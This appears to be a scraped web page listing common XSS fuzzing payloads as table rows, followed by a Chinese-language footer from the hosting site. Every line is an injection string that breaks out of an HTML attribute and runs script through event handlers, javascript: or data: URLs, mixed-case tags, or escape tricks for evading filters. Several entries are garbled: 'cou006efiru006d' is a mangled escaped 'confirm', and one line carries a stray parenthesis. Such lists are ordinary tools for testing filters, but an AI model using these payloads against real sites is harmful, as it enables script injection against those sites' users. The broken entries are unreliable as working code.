| </script>"><script>prompt(1)</script> |
| </ScRiPt>"><ScRiPt>prompt(1)</ScRiPt> |
| "><img src=x onerror=prompt(1)> |
| "><svg/onload=prompt(1)> |
| "><iframe/src=javascript:prompt(1)> |
| "><h1 onclick=prompt(1)>Clickme</h1> |
| "><a href=javascript:prompt(1)>Clickme</a> |
| "><a href="javascript:confirm%28 1%29">Clickme</a> |
| "><a href="data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+">click</a> |
| "><textarea autofocus onfocus=prompt(1)> |
| "><a/href=javascript:cou006efiru006d("1")>clickme</a> |
| "><script>cou006efiru006d`1`</script> |
| "><ScRiPt>cou006efiru006d`1`</ScRiPt> |
| "><img src=x onerror=cou006efiru006d`1`> |
| "><svg/onload=cou006efiru006d`1`> |
| "><iframe/src=javascript:cou006efiru006d%28 1%29> |
| "><h1 onclick=cou006efiru006d(1)>Clickme</h1> |
| "><a href=javascript:prompt%28 1%29>Clickme</a> |
| "><a href="javascript:cou006efiru006d%28 1%29">Clickme</a> |
| "><textarea autofocus onfocus=cou006efiru006d(1)> |
| "><details/ontoggle=cou006efiru006d`1`>clickmeonchrome |
| "><p/id=1%0Aonmousemove%0A=%0Aconfirm`1`>hoveme |
| "><img/src=x%0Aonerror=prompt`1`> |
| "><iframe srcdoc="<img src=x:x onerror=alert(1)>"> |
| "><h1/ondrag=cou006efiru006d`1`)>DragMe</h1> |
以上是关于常用xss fuzz 列表的主要内容，如果未能解决你的问题，请参考以下文章